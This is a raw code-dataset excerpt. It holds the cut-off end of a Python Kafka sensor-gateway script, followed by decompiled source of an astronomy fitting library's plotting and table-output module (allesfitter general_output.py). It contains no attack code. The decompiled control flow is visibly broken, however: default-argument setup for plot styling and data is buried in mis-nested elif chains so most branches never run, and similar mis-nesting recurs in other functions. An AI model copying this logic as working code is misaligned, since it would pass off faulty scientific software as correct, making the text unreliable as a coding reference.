sensor_gateway_recv_thread = g.start_sensor_gateway_recv_thread()\n while True:\n message = g.kafka_receive_message(g.gateway_topic_name)\n if message is None:\n continue\n #print(\"Kafka message for gateway: \", message)\n message_dict = json.loads(message)\n sensor_ip_port = message_dict[\"ip_port\"]\n sensor_ip, sensor_port = extract_ip_port(sensor_ip_port)\n message = message_dict[\"message\"]\n g.send_to_sensor(sensor_ip, sensor_port, json.dumps(message))\n #print(\"Sent kafka message to sensor\")\n\n sensor_gateway_recv_thread.join()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"platform/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"597899060","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/mx/Dropbox (MIT)/Science/Code/allesfitter/allesfitter/general_output.py\n# Compiled at: 2020-03-31 06:08:08\n# Size of source mod 2**32: 43282 bytes\n\"\"\"\nCreated on Fri Oct 5 01:10:51 2018\n\n@author:\nMaximilian N. Günther\nMIT Kavli Institute for Astrophysics and Space Research, \nMassachusetts Institute of Technology,\n77 Massachusetts Avenue,\nCambridge, MA 02109, \nUSA\nEmail: maxgue@mit.edu\nWeb: www.mnguenther.com\n\"\"\"\nfrom __future__ import print_function, division, absolute_import\nimport seaborn as sns\nsns.set(context='paper', style='ticks', palette='deep', font='sans-serif', font_scale=1.5, color_codes=True)\nsns.set_style({'xtick.direction':'in', 'ytick.direction':'in'})\nsns.set_context(rc={'lines.markeredgewidth': 1})\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os, sys, warnings\nfrom astropy.time import Time\nfrom tqdm import tqdm\nwarnings.filterwarnings('ignore', category=(np.VisibleDeprecationWarning))\nwarnings.filterwarnings('ignore', category=(np.RankWarning))\nfrom . import config\nfrom .utils import latex_printer\nfrom .computer import update_params, calculate_model, rv_fct, flux_fct, calculate_baseline, calculate_stellar_var, calculate_yerr_w\nimport exoworlds_rdx.lightcurves as lct\nfrom exoworlds_rdx.lightcurves.index_transits import get_tmid_observed_transits\n\nclass bcolors:\n HEADER = '\\x1b[95m'\n OKBLUE = '\\x1b[94m'\n OKGREEN = '\\x1b[92m'\n WARNING = '\\x1b[93m'\n FAIL = '\\x1b[91m'\n ENDC = '\\x1b[0m'\n BOLD = '\\x1b[1m'\n UNDERLINE = '\\x1b[4m'\n\n\ndef logprint(*text, typ='default'):\n if config.BASEMENT.settings['print_progress']:\n if typ == 'default':\n print(*text)\n else:\n if typ == 'success':\n fulltext = ' '.join([str(t) for t in text])\n print(bcolors.OKGREEN + fulltext + bcolors.ENDC)\n else:\n if typ == 'warning':\n fulltext = ' '.join([str(t) for t in text])\n print(bcolors.WARNING + fulltext + bcolors.ENDC)\n else:\n if typ == 'failure':\n fulltext = ' '.join([str(t) for t in text])\n print(bcolors.FAIL + fulltext + bcolors.ENDC)\n original = sys.stdout\n try:\n with open(os.path.join(config.BASEMENT.outdir, 'logfile_' + config.BASEMENT.now + '.log'), 'a') as (f):\n sys.stdout = f\n print(*text)\n except OSError:\n pass\n\n sys.stdout = original\n\n\ndef draw_initial_guess_samples(Nsamples=1):\n if Nsamples == 1:\n samples = np.array([config.BASEMENT.theta_0])\n else:\n samples = config.BASEMENT.theta_0 + config.BASEMENT.init_err * np.random.randn(Nsamples, len(config.BASEMENT.theta_0))\n return samples\n\n\ndef plot_panel(datadir):\n config.init(datadir)\n if len(config.BASEMENT.settings['inst_phot']) > 0 and len(config.BASEMENT.settings['inst_rv']) > 0:\n fig, axes = plt.subplots(2, 1, figsize=(20, 10))\n else:\n if len(config.BASEMENT.settings['inst_phot']) > 0:\n fig, axes = plt.subplots(1, 1, figsize=(20, 5))\n axes = [axes]\n else:\n if len(config.BASEMENT.settings['inst_rv']) > 0:\n fig, axes = plt.subplots(1, 1, figsize=(20, 5))\n axes = [None, axes]\n for inst in config.BASEMENT.settings['inst_phot']:\n ax = axes[0]\n ax.plot((config.BASEMENT.fulldata[inst]['time']), (config.BASEMENT.fulldata[inst]['flux']), marker='.', ls='none', color='lightgrey', rasterized=True)\n ax.plot((config.BASEMENT.data[inst]['time']), (config.BASEMENT.data[inst]['flux']), marker='.', ls='none', label=inst, rasterized=True)\n ax.legend()\n ax.set(ylabel='Relative Flux', xlabel='Time (BJD)')\n\n for inst in config.BASEMENT.settings['inst_rv']:\n ax = axes[1]\n ax.plot((config.BASEMENT.data[inst]['time']), (config.BASEMENT.data[inst]['rv']), marker='.', ls='none', label=inst)\n ax.legend()\n ax.set(ylabel='RV (km/s)', xlabel='Time (BJD)')\n\n fig.savefig((os.path.join(config.BASEMENT.outdir, 'data_panel.pdf')), bbox_inches='tight')\n return (fig, axes)\n\n\ndef plot_panel_transits(datadir, ax=None, insts=None, companions=None, colors=None, title=None, ppm=False, ylim=None, yticks=None, fontscale=2):\n config.init(datadir)\n SMALL_SIZE = 8 * fontscale\n MEDIUM_SIZE = 10 * fontscale\n BIGGER_SIZE = 12 * fontscale\n plt.rc('font', size=MEDIUM_SIZE)\n plt.rc('axes', titlesize=BIGGER_SIZE)\n plt.rc('axes', labelsize=BIGGER_SIZE)\n plt.rc('xtick', labelsize=MEDIUM_SIZE)\n plt.rc('ytick', labelsize=MEDIUM_SIZE)\n plt.rc('legend', fontsize=MEDIUM_SIZE)\n plt.rc('figure', titlesize=BIGGER_SIZE)\n samples = draw_initial_guess_samples()\n params_median, params_ll, params_ul = get_params_from_samples(samples)\n if companions is None:\n companions = config.BASEMENT.settings['companions_phot']\n else:\n if colors is None:\n colors = [sns.color_palette('deep')[i] for i in (0, 1, 3)]\n else:\n if insts is None:\n insts = config.BASEMENT.settings['inst_phot']\n ally = []\n if ax is None:\n ax_init = None\n fig, axes = plt.subplots((len(insts)), (len(companions)), figsize=(6 * len(companions), 4 * len(insts)), sharey=True, sharex=True)\n axes = np.atleast_2d(axes).T\n else:\n ax_init = ax\n axes = np.atleast_2d(ax).T\n for i, (companion, color) in enumerate(zip(companions, colors)):\n for j, inst in enumerate(insts):\n ax = axes[(i, j)]\n key = 'flux'\n if title is None:\n if i == 0:\n title = inst\n else:\n title = ''\n else:\n if j == len(insts) - 1:\n xlabel = '$\\\\mathrm{ T - T_0 \\\\ (h) }$'\n else:\n xlabel = ''\n if i == 0:\n if ppm:\n ylabel = '$\\\\Delta$ Flux (ppm)'\n else:\n ylabel = 'Relative Flux'\n else:\n ylabel = ''\n alpha = 1.0\n x = config.BASEMENT.data[inst]['time']\n baseline_median = calculate_baseline(params_median, inst, key)\n y = config.BASEMENT.data[inst][key] - baseline_median\n zoomfactor = params_median[(companion + '_period')] * 24.0\n for other_companion in config.BASEMENT.settings['companions_phot']:\n if companion != other_companion:\n model = flux_fct(params_median, inst, other_companion)\n y -= model\n y += 1.0\n\n if ppm:\n y = (y - 1) * 1000000.0\n dt = 0.013888888888888888 / params_median[(companion + '_period')]\n phase_time, phase_y, phase_y_err, _, phi = lct.phase_fold(x, y, (params_median[(companion + '_period')]), (params_median[(companion + '_epoch')]), dt=dt, ferr_type='meansig', ferr_style='sem', sigmaclip=True)\n ax.plot((phi * zoomfactor), y, 'b.', color='silver', rasterized=True)\n ax.errorbar((phase_time * zoomfactor), phase_y, yerr=phase_y_err, linestyle='none', marker='o', ms=8, color=color, capsize=0, zorder=11)\n ax.set_xlabel(xlabel, fontsize=BIGGER_SIZE)\n ax.set_ylabel(ylabel, fontsize=BIGGER_SIZE)\n ax.text(0.97, 0.87, companion, ha='right', va='bottom', transform=(ax.transAxes), fontsize=BIGGER_SIZE)\n ax.text(0.03, 0.87, title, ha='left', va='bottom', transform=(ax.transAxes), fontsize=MEDIUM_SIZE)\n ally += list(phase_y)\n xx = np.linspace(-4.0 / zoomfactor, 4.0 / zoomfactor, 1000)\n xx2 = params_median[(companion + '_epoch')] + np.linspace(-4.0 / zoomfactor, 4.0 / zoomfactor, 1000) * params_median[(companion + '_period')]\n for ii in range(samples.shape[0]):\n s = samples[ii, :]\n p = update_params(s)\n model = flux_fct(p, inst, companion, xx=xx2)\n if ppm:\n model = (model - 1) * 1000000.0\n ax.plot((xx * zoomfactor), model, 'r-', alpha=alpha, zorder=12, lw=2)\n\n if ppm:\n ylim0 = np.nanmin(ally) - 500\n ylim1 = np.nanmax(ally) + 500\n else:\n ylim0 = np.nanmin(ally) - 0.0005\n ylim1 = np.nanmax(ally) + 0.0005\n if ylim is None:\n ylim = [\n ylim0, ylim1]\n for i in range(len(companions)):\n for j in range(len(insts)):\n ax = axes[(i, j)]\n ax.set(xlim=[-4, 4], ylim=ylim)\n if yticks is not None:\n ax.set(yticks=yticks)\n ax.set_xticklabels(ax.get_xticks(), {'fontsize': MEDIUM_SIZE})\n ax.set_yticklabels(ax.get_yticks(), {'fontsize': MEDIUM_SIZE})\n\n plt.tight_layout()\n if ax_init is None:\n fig.savefig((os.path.join(config.BASEMENT.outdir, 'data_panel_transits.pdf')), bbox_inches='tight')\n return (fig, axes)\n return ax\n\n\ndef afplot(samples, companion):\n \"\"\"\n Inputs:\n -------\n samples : array\n samples from the initial guess, or from the MCMC / Nested Sampling posteriors\n \"\"\"\n N_inst = len(config.BASEMENT.settings['inst_all'])\n if 'do_not_phase_fold' in config.BASEMENT.settings and config.BASEMENT.settings['do_not_phase_fold']:\n fig, axes = plt.subplots(N_inst, 1, figsize=(6, 4 * N_inst))\n styles = ['full']\n else:\n if config.BASEMENT.settings['phase_curve']:\n fig, axes = plt.subplots(N_inst, 5, figsize=(30, 4 * N_inst))\n styles = ['full', 'phase', 'phase_curve', 'phasezoom', 'phasezoom_occ']\n else:\n if config.BASEMENT.settings['secondary_eclipse']:\n fig, axes = plt.subplots(N_inst, 4, figsize=(24, 4 * N_inst))\n styles = ['full', 'phase', 'phasezoom', 'phasezoom_occ']\n else:\n fig, axes = plt.subplots(N_inst, 3, figsize=(18, 4 * N_inst))\n styles = ['full', 'phase', 'phasezoom']\n axes = np.atleast_2d(axes)\n for i, inst in enumerate(config.BASEMENT.settings['inst_all']):\n for j, style in enumerate(styles):\n if ('zoom' in style) & (inst in config.BASEMENT.settings['inst_rv']):\n axes[(i, j)].axis('off')\n elif (inst in config.BASEMENT.settings['inst_phot']) & (companion not in config.BASEMENT.settings['companions_phot']):\n axes[(i, j)].axis('off')\n elif (inst in config.BASEMENT.settings['inst_rv']) & (companion not in config.BASEMENT.settings['companions_rv']):\n axes[(i, j)].axis('off')\n else:\n plot_1(axes[(i, j)], samples, inst, companion, style)\n\n plt.tight_layout()\n return (fig, axes)\n\n\ndef plot_1(ax, samples, inst, companion, style, base=None, dt=None, zoomwindow=8.0, kwargs_data=None, kwargs_model=None, kwargs_ax=None):\n \"\"\"\n Inputs:\n -------\n ax : matplotlib axis\n \n samples : array\n Prior or posterior samples to plot the fit from\n \n inst: str\n Name of the instrument (e.g. 'TESS')\n \n companion : None or str\n None or 'b'/'c'/etc.\n \n style: str\n 'full' / 'per_transit' / 'phase' / 'phasezoom' / 'phasezoom_occ' /'phase_curve'\n 'full_residuals' / 'phase_residuals' / 'phasezoom_residuals' / 'phasezoom_occ_residuals' / 'phase_curve_residuals'\n \n zoomwindow: int or float\n the full width of the window to zoom into (in hours)\n default: 8 hours\n \n base: a BASEMENT class object\n (for internal use only)\n \n dt : float\n time steps on which the model should be evaluated for plots\n in days\n default for style='full': 2 min for <1 day of data; 30 min for >1 day of data.\n \n Notes:\n ------\n yerr / epoch / period: \n come either from\n a) the initial_guess value or \n b) the MCMC median,\n depending on what is plotted (i.e. not from individual samples)\n\n \"\"\"\n if base == None:\n base = config.BASEMENT\n elif samples is not None:\n params_median, params_ll, params_ul = get_params_from_samples(samples)\n elif kwargs_data is None:\n kwargs_data = {}\n else:\n if 'marker' not in kwargs_data:\n kwargs_data['marker'] = '.'\n elif 'markersize' not in kwargs_data:\n kwargs_data['markersize'] = 8.0\n elif 'linestyle' not in kwargs_data:\n kwargs_data['linestyle'] = 'none'\n elif 'color' not in kwargs_data:\n kwargs_data['color'] = 'b'\n elif 'alpha' not in kwargs_data:\n kwargs_data['alpha'] = 1.0\n else:\n if 'rasterized' not in kwargs_data:\n kwargs_data['rasterized'] = True\n elif kwargs_model is None:\n kwargs_model = {}\n else:\n if 'marker' not in kwargs_model:\n kwargs_model['marker'] = 'none'\n else:\n if 'markersize' not in kwargs_model:\n kwargs_model['markersize'] = 0.0\n elif 'linestyle' not in kwargs_model:\n kwargs_model['linestyle'] = '-'\n elif 'color' not in kwargs_model:\n kwargs_model['color'] = 'r'\n elif 'alpha' not in kwargs_model:\n kwargs_model['alpha'] = 1.0\n else:\n if kwargs_ax is None:\n kwargs_ax = {}\n if 'title' not in kwargs_ax:\n kwargs_ax['title'] = None\n if 'xlabel' not in kwargs_ax:\n kwargs_ax['xlabel'] = None\n if 'ylabel' not in kwargs_ax:\n kwargs_ax['ylabel'] = None\n timelabel = 'Time'\n\n def set_title(title1):\n if kwargs_ax['title'] is None:\n return title1\n return kwargs_ax['title']\n\n if inst in base.settings['inst_phot']:\n key = 'flux'\n baseline_plus = 1.0\n if style in ('full', ):\n ylabel = 'Relative Flux'\n else:\n if style in ('phase', 'phasezoom', 'phasezoom_occ',\n 'phase_curve'):\n ylabel = 'Relative Flux - Baseline'\n else:\n if style in ('full_residuals', 'phase_residuals',\n 'phasezoom_residuals', 'phasezoom_occ_residuals',\n 'phase_curve_residuals'):\n ylabel = 'Residuals'\n else:\n if inst in base.settings['inst_rv']:\n key = 'rv'\n baseline_plus = 0.0\n if style in ('full', ):\n ylabel = 'RV (km/s)'\n else:\n if style in ('phase', 'phasezoom', 'phasezoom_occ',\n 'phase_curve'):\n ylabel = 'RV (km/s) - Baseline'\n else:\n if style in ('full_residuals', 'phase_residuals',\n 'phasezoom_residuals', 'phasezoom_occ_residuals',\n 'phase_curve_residuals'):\n ylabel = 'Residuals'\n else:\n raise ValueError('inst should be listed in inst_phot or inst_rv...')\n if samples is not None:\n if samples.shape[0] == 1:\n alpha = 1.0\n else:\n alpha = 0.1\n if style in ('full', 'full_residuals'):\n x = base.data[inst]['time']\n if timelabel == 'Time_since':\n x = np.copy(x)\n objttime = Time(x, format='jd', scale='utc')\n xsave = np.copy(x)\n x -= x[0]\n else:\n y = 1.0 * base.data[inst][key]\n yerr_w = calculate_yerr_w(params_median, inst, key)\n if style in ('full_residuals', ):\n model = calculate_model(params_median, inst, key)\n baseline = calculate_baseline(params_median, inst, key)\n stellar_var = calculate_stellar_var(params_median, 'all', key, xx=x)\n y -= model + baseline + stellar_var\n ax.errorbar(x, y, yerr=yerr_w, marker=(kwargs_data['marker']), markersize=(kwargs_data['markersize']), linestyle=(kwargs_data['linestyle']), color=(kwargs_data['color']), alpha=(kwargs_data['alpha']), capsize=0, rasterized=(kwargs_data['rasterized']))\n if base.settings['color_plot']:\n ax.scatter(x, y, c=x, marker='o', rasterized=(kwargs_data['rasterized']), cmap='inferno', zorder=11)\n if timelabel == 'Time_since':\n ax.set(xlabel=('Time since %s [days]' % objttime[0].isot[:10]), ylabel=ylabel, title=(set_title(inst)))\n else:\n if timelabel == 'Time':\n ax.set(xlabel='Time (BJD)', ylabel=ylabel, title=(set_title(inst)))\n if style in ('full', ) and samples is not None:\n if dt is None:\n if x[(-1)] - x[0] < 1:\n dt = 0.0013888888888888887\n else:\n dt = 0.020833333333333332\n if key == 'flux':\n xx_full = np.arange(x[0], x[(-1)] + dt, dt)\n Npoints_chunk = 48\n for i_chunk in tqdm(range(int(1.0 * len(xx_full) / Npoints_chunk) + 2)):\n xx = xx_full[i_chunk * Npoints_chunk:(i_chunk + 1) * Npoints_chunk]\n if len(xx) > 0 and any((x > xx[0]) & (x < xx[(-1)])):\n for i in range(samples.shape[0]):\n s = samples[i, :]\n p = update_params(s)\n model = calculate_model(p, inst, key, xx=xx)\n baseline = calculate_baseline(p, inst, key, xx=xx)\n stellar_var = calculate_stellar_var(p, 'all', key, xx=xx)\n ax.plot(xx, (baseline + stellar_var + baseline_plus), 'k-', color='orange', alpha=alpha, zorder=12)\n ax.plot(xx, (model + baseline + stellar_var), 'r-', alpha=alpha, zorder=12)\n\n else:\n if key == 'rv':\n xx = np.arange(x[0], x[(-1)] + dt, dt)\n for i in range(samples.shape[0]):\n s = samples[i, :]\n p = update_params(s)\n model = calculate_model(p, inst, key, xx=xx)\n baseline = calculate_baseline(p, inst, key, xx=xx)\n stellar_var = calculate_stellar_var(p, 'all', key, xx=xx)\n ax.plot(xx, (baseline + stellar_var + baseline_plus), 'k-', color='orange', alpha=alpha, zorder=12)\n ax.plot(xx, (model + baseline + stellar_var), 'r-', alpha=alpha, zorder=12)\n\n if timelabel == 'Time_since':\n x = np.copy(xsave)\n else:\n if style in ('phase', 'phasezoom', 'phasezoom_occ', 'phase_curve',\n 'phase_residuals', 'phasezoom_residuals', 'phasezoom_occ_residuals',\n 'phase_curve_residuals'):\n x = 1.0 * base.data[inst]['time']\n baseline_median = calculate_baseline(params_median, inst, key)\n stellar_var_median = calculate_stellar_var(params_median, 'all', key, xx=x)\n y = base.data[inst][key] - baseline_median - stellar_var_median\n yerr_w = calculate_yerr_w(params_median, inst, key)\n if style in ('phasezoom', 'phasezoom_occ', 'phasezoom_residuals',\n 'phasezoom_occ_residuals'):\n zoomfactor = params_median[(companion + '_period')] * 24.0\n else:\n zoomfactor = 1.0\n if inst in base.settings['inst_rv']:\n for other_companion in base.settings['companions_rv']:\n if companion != other_companion:\n model = rv_fct(params_median, inst, other_companion)[0]\n y -= model\n\n if style in ('phase_residuals', 'phasezoom_residuals', 'phasezoom_occ_residuals',\n 'phase_curve_residuals'):\n model = rv_fct(params_median, inst, companion)[0]\n y -= model\n else:\n phase_time, phase_y, phase_y_err, _, phi = lct.phase_fold(x, y, (params_median[(companion + '_period')]), (params_median[(companion + '_epoch')]), dt=0.002, ferr_type='meansig', ferr_style='sem', sigmaclip=False)\n if len(x) > 500:\n ax.plot((phi * zoomfactor), y, 'k.', color='lightgrey', rasterized=(kwargs_data['rasterized']))\n ax.errorbar((phase_time * zoomfactor), phase_y, yerr=phase_y_err, marker=(kwargs_data['marker']), markersize=(kwargs_data['markersize']), linestyle=(kwargs_data['linestyle']), color=(kwargs_data['color']), alpha=(kwargs_data['alpha']), capsize=0, rasterized=(kwargs_data['rasterized']), zorder=11)\n else:\n ax.errorbar((phi * zoomfactor), y, yerr=yerr_w, marker=(kwargs_data['marker']), markersize=(kwargs_data['markersize']), linestyle=(kwargs_data['linestyle']), color=(kwargs_data['color']), alpha=(kwargs_data['alpha']), capsize=0, rasterized=(kwargs_data['rasterized']), zorder=11)\n ax.set(xlabel='Phase', ylabel=ylabel, title=(set_title(inst + ', companion ' + companion + ' only')))\n if style in ('phase', 'phasezoom', 'phasezoom_occ', 'phase_curve') and samples is not None:\n xx = np.linspace(-0.25, 0.75, 1000)\n xx2 = params_median[(companion + '_epoch')] + np.linspace(-0.25, 0.75, 1000) * params_median[(companion + '_period')]\n for i in range(samples.shape[0]):\n s = samples[i, :]\n p = update_params(s)\n model = rv_fct(p, inst, companion, xx=xx2)[0]\n ax.plot((xx * zoomfactor), model, 'r-', alpha=alpha, zorder=12)\n\n elif inst in base.settings['inst_phot']:\n for other_companion in base.settings['companions_phot']:\n if companion != other_companion:\n model = flux_fct(params_median, inst, other_companion)\n y -= model - 1.0\n\n if style in ('phase_residuals', 'phasezoom_residuals', 'phasezoom_occ_residuals',\n 'phase_curve_residuals'):\n model = flux_fct(params_median, inst, companion)\n y -= model\n elif style in ('phase', 'phase_residuals'):\n dt = 0.002\n else:\n if style in ('phase_curve', 'phase_curve_residuals'):\n dt = 0.01\n else:\n if style in ('phasezoom', 'phasezoom_occ', 'phasezoom_residuals',\n 'phasezoom_occ_residuals'):\n dt = 0.010416666666666666 / params_median[(companion + '_period')]\n phase_time, phase_y, phase_y_err, _, phi = lct.phase_fold(x, y, (params_median[(companion + '_period')]), (params_median[(companion + '_epoch')]), dt=dt, ferr_type='meansig', ferr_style='sem', sigmaclip=False)\n if len(x) > 500:\n if style in ('phase_curve', 'phase_curve_residuals'):\n ax.plot((phase_time * zoomfactor), phase_y, 'b.', color=(kwargs_data['color']), rasterized=(kwargs_data['rasterized']), zorder=11)\n else:\n ax.plot((phi * zoomfactor), y, 'b.', color='lightgrey', rasterized=(kwargs_data['rasterized']))\n ax.errorbar((phase_time * zoomfactor), phase_y, yerr=phase_y_err, marker=(kwargs_data['marker']), markersize=(kwargs_data['markersize']), linestyle=(kwargs_data['linestyle']), color=(kwargs_data['color']), alpha=(kwargs_data['alpha']), capsize=0, rasterized=(kwargs_data['rasterized']), zorder=11)\n else:\n ax.errorbar((phi * zoomfactor), y, yerr=yerr_w, marker=(kwargs_data['marker']), markersize=(kwargs_data['markersize']), linestyle=(kwargs_data['linestyle']), color=(kwargs_data['color']), alpha=(kwargs_data['alpha']), capsize=0, rasterized=(kwargs_data['rasterized']), zorder=11)\n if base.settings['color_plot']:\n ax.scatter((phi * zoomfactor), y, c=x, marker='o', rasterized=(kwargs_data['rasterized']), cmap='inferno', zorder=11)\n ax.set(xlabel='Phase', ylabel=ylabel, title=(set_title(inst + ', companion ' + companion)))\n if style in ('phase', 'phasezoom', 'phasezoom_occ', 'phase_curve'):\n if style in ('phase', 'phase_curve'):\n xx = np.linspace(-0.25, 0.75, 1000)\n xx2 = params_median[(companion + '_epoch')] + xx * params_median[(companion + '_period')]\n else:\n if style in ('phasezoom', ):\n xx = np.linspace(-10.0 / zoomfactor, 10.0 / zoomfactor, 1000)\n xx2 = params_median[(companion + '_epoch')] + xx * params_median[(companion + '_period')]\n else:\n if style in ('phasezoom_occ', ):\n e = params_median[(companion + '_f_s')] ** 2 + params_median[(companion + '_f_c')] ** 2\n w = np.mod(np.arctan2(params_median[(companion + '_f_s')], params_median[(companion + '_f_c')]), 2 * np.pi)\n phase_shift = 0.5 * (1.0 + 4.0 / np.pi * e * np.cos(w))\n xx = np.linspace(-10.0 / zoomfactor + phase_shift, 10.0 / zoomfactor + phase_shift, 1000)\n xx2 = params_median[(companion + '_epoch')] + xx * params_median[(companion + '_period')]\n if samples is not None:\n for i in range(samples.shape[0]):\n s = samples[i, :]\n p = update_params(s)\n model = flux_fct(p, inst, companion, xx=xx2)\n ax.plot((xx * zoomfactor), model, 'r-', alpha=alpha, zorder=12)\n\n if style in ('phasezoom', 'phasezoom_residuals'):\n ax.set(xlim=[-zoomwindow / 2.0, zoomwindow / 2.0], xlabel='$\\\\mathrm{ T - T_0 \\\\ (h) }$')\n else:\n if style in ('phasezoom_occ', 'phasezoom_occ_residuals'):\n xlower = -zoomwindow / 2.0 + phase_shift * params_median[(companion + '_period')] * 24.0\n xupper = zoomwindow / 2.0 + phase_shift * params_median[(companion + '_period')] * 24.0\n ax.set(xlim=[xlower, xupper], xlabel='$\\\\mathrm{ T - T_0 \\\\ (h) }$')\n else:\n if style in ('phasezoom_occ', ):\n ax.set(ylim=[0.999, 1.0005])\n if style in ('phase_curve', 'phase_curve_residuals'):\n ax.set(ylim=[0.999, 1.001])\n\n\ndef afplot_per_transit(samples, inst, companion, base=None, rasterized=True, marker='.', linestyle='none', color='b', markersize=8):\n if base == None:\n base = config.BASEMENT\n if inst in base.settings['inst_phot']:\n key = 'flux'\n ylabel = 'Realtive Flux'\n baseline_plus = 1.0\n else:\n if inst in base.settings['inst_rv']:\n key = 'rv'\n ylabel = 'RV (km/s)'\n elif samples.shape[0] == 1:\n alpha = 1.0\n else:\n alpha = 0.1\n params_median, params_ll, params_ul = get_params_from_samples(samples)\n width = 0.3333333333333333\n x = base.data[inst]['time']\n y = 1.0 * base.data[inst][key]\n yerr_w = calculate_yerr_w(params_median, inst, key)\n tmid_observed_transits = get_tmid_observed_transits(x, params_median[(companion + '_epoch')], params_median[(companion + '_period')], width)\n N_transits = len(tmid_observed_transits)\n fig, axes = plt.subplots(N_transits, 1, figsize=(6, 4 * N_transits), sharey=True)\n if N_transits > 0:\n axes = np.atleast_1d(axes)\n axes[0].set(title=inst)\n for i, t in enumerate(tmid_observed_transits):\n ax = axes[i]\n ind = np.where((x >= t - width / 2.0) & (x <= t + width / 2.0))[0]\n ax.errorbar((x[ind]), (y[ind]), yerr=(yerr_w[ind]), marker=marker, linestyle=linestyle, color=color, markersize=markersize, alpha=alpha, capsize=0, rasterized=rasterized)\n ax.set(xlabel='Time (BJD)', ylabel=ylabel)\n dt = 0.0013888888888888887\n xx = np.arange(x[ind][0], x[ind][(-1)] + dt, dt)\n for i in range(samples.shape[0]):\n s = samples[i, :]\n p = update_params(s)\n model = calculate_model(p, inst, key, xx=xx)\n baseline = calculate_baseline(p, inst, key, xx=xx)\n stellar_var = calculate_stellar_var(p, 'all', key, xx=xx)\n ax.plot(xx, (baseline + stellar_var + baseline_plus), 'k-', color='orange', alpha=alpha, zorder=12)\n ax.plot(xx, (model + baseline + stellar_var), 'r-', alpha=alpha, zorder=12)\n\n ax.set(xlim=[t - 0.16666666666666666, t + 0.16666666666666666])\n ax.axvline(t, color='g', lw=2, ls='--')\n\n else:\n warnings.warn('No transit of companion ' + companion + ' for ' + inst + '.')\n return (fig, axes)\n\n\ndef get_params_from_samples(samples):\n \"\"\"\n read MCMC results and update params\n \"\"\"\n theta_median = np.percentile(samples, 50, axis=0)\n theta_ul = np.percentile(samples, 84, axis=0) - theta_median\n theta_ll = theta_median - np.percentile(samples, 16, axis=0)\n params_median = update_params(theta_median)\n params_ll = update_params(theta_ll)\n params_ul = update_params(theta_ul)\n return (\n params_median, params_ll, params_ul)\n\n\ndef save_table(samples, mode):\n \"\"\"\n Inputs:\n -------\n samples : array\n posterior samples\n mode : string\n 'mcmc' or 'ns'\n \"\"\"\n params, params_ll, params_ul = get_params_from_samples(samples)\n with open(os.path.join(config.BASEMENT.outdir, mode + '_table.csv'), 'w') as (f):\n f.write('#name,median,lower_error,upper_error,label,unit\\n')\n f.write('#Fitted parameters,,,\\n')\n for i, key in enumerate(config.BASEMENT.allkeys):\n if key not in config.BASEMENT.fitkeys:\n f.write(key + ',' + str(params[key]) + ',' + '(fixed),(fixed),' + config.BASEMENT.labels[i] + ',' + config.BASEMENT.units[i] + '\\n')\n else:\n f.write(key + ',' + str(params[key]) + ',' + str(params_ll[key]) + ',' + str(params_ul[key]) + ',' + config.BASEMENT.labels[i] + ',' + config.BASEMENT.units[i] + '\\n')\n\n\ndef save_latex_table(samples, mode):\n \"\"\"\n Inputs:\n -------\n samples : array\n posterior samples\n mode : string\n 'mcmc' or 'ns'\n \"\"\"\n params_median, params_ll, params_ul = get_params_from_samples(samples)\n label = 'none'\n with open(os.path.join(config.BASEMENT.outdir, mode + '_latex_table.txt'), 'w') as (f):\n with open(os.path.join(config.BASEMENT.outdir, mode + '_latex_cmd.txt'), 'w') as (f_cmd):\n f.write('parameter & value & unit & fit/fixed \\\\\\\\ \\n')\n f.write('\\\\hline \\n')\n f.write('\\\\multicolumn{4}{c}{\\\\textit{Fitted parameters}} \\\\\\\\ \\n')\n f.write('\\\\hline \\n')\n for i, key in enumerate(config.BASEMENT.allkeys):\n if key not in config.BASEMENT.fitkeys:\n value = str(params_median[key])\n f.write(config.BASEMENT.labels[i] + ' & $' + value + '$ & ' + config.BASEMENT.units[i] + '& fixed \\\\\\\\ \\n')\n f_cmd.write('\\\\newcommand{\\\\' + key.replace('_', '') + '}{$' + value + '$} %' + label + ' = ' + value + '\\n')\n else:\n value = latex_printer.round_tex(params_median[key], params_ll[key], params_ul[key])\n f.write(config.BASEMENT.labels[i] + ' & $' + value + '$ & ' + config.BASEMENT.units[i] + '& fit \\\\\\\\ \\n')\n f_cmd.write('\\\\newcommand{\\\\' + key.replace('_', '') + '}{$=' + value + '$} %' + label + ' = ' + value + '\\n')\n\n\ndef show_initial_guess(datadir, do_logprint=True, do_plot=True, return_figs=False):\n config.init(datadir)\n if do_logprint:\n logprint_initial_guess()\n if do_plot:\n return plot_initial_guess(return_figs=return_figs)\n\n\ndef logprint_initial_guess():\n \"\"\"\n Inputs:\n -------\n datadir : str\n the working directory for allesfitter\n must contain all the data files\n output directories and files will also be created inside datadir\n \n Outputs:\n --------\n This will output information into the console, \n and create a file called datadir/results/initial_guess.pdf\n \"\"\"\n logprint('\\nSettings:')\n logprint('--------------------------')\n for key in config.BASEMENT.settings:\n if config.BASEMENT.settings[key] != '':\n logprint('{0: <30}'.format(key), '{0: <15}'.format(str(config.BASEMENT.settings[key])))\n else:\n logprint('\\n{0: <30}'.format(key))\n\n logprint('\\nParameters:')\n logprint('--------------------------')\n for i, key in enumerate(config.BASEMENT.params):\n if key in config.BASEMENT.fitkeys:\n ind = np.where(config.BASEMENT.fitkeys == key)[0][0]\n logprint('{0: <30}'.format(key), '{0: <15}'.format(str(config.BASEMENT.params[key])), '{0: <5}'.format('free'), '{0: <30}'.format(str(config.BASEMENT.bounds[ind])))\n elif config.BASEMENT.params[key] != '':\n logprint('{0: <30}'.format(key), '{0: <15}'.format(str(config.BASEMENT.params[key])), '{0: <5}'.format('set'))\n else:\n logprint('\\n{0: <30}'.format(key))\n\n logprint('\\nExternal priors:')\n logprint('--------------------------')\n if 'host_density' in config.BASEMENT.external_priors:\n logprint('\\nStellar density prior (automatically set):', config.BASEMENT.external_priors['host_density'], '(g cm^-3)')\n else:\n logprint('No external priors defined.')\n logprint('\\nndim:', config.BASEMENT.ndim)\n\n\ndef plot_initial_guess(return_figs=False):\n samples = draw_initial_guess_samples()\n if return_figs == False:\n for companion in config.BASEMENT.settings['companions_all']:\n fig, axes = afplot(samples, companion)\n 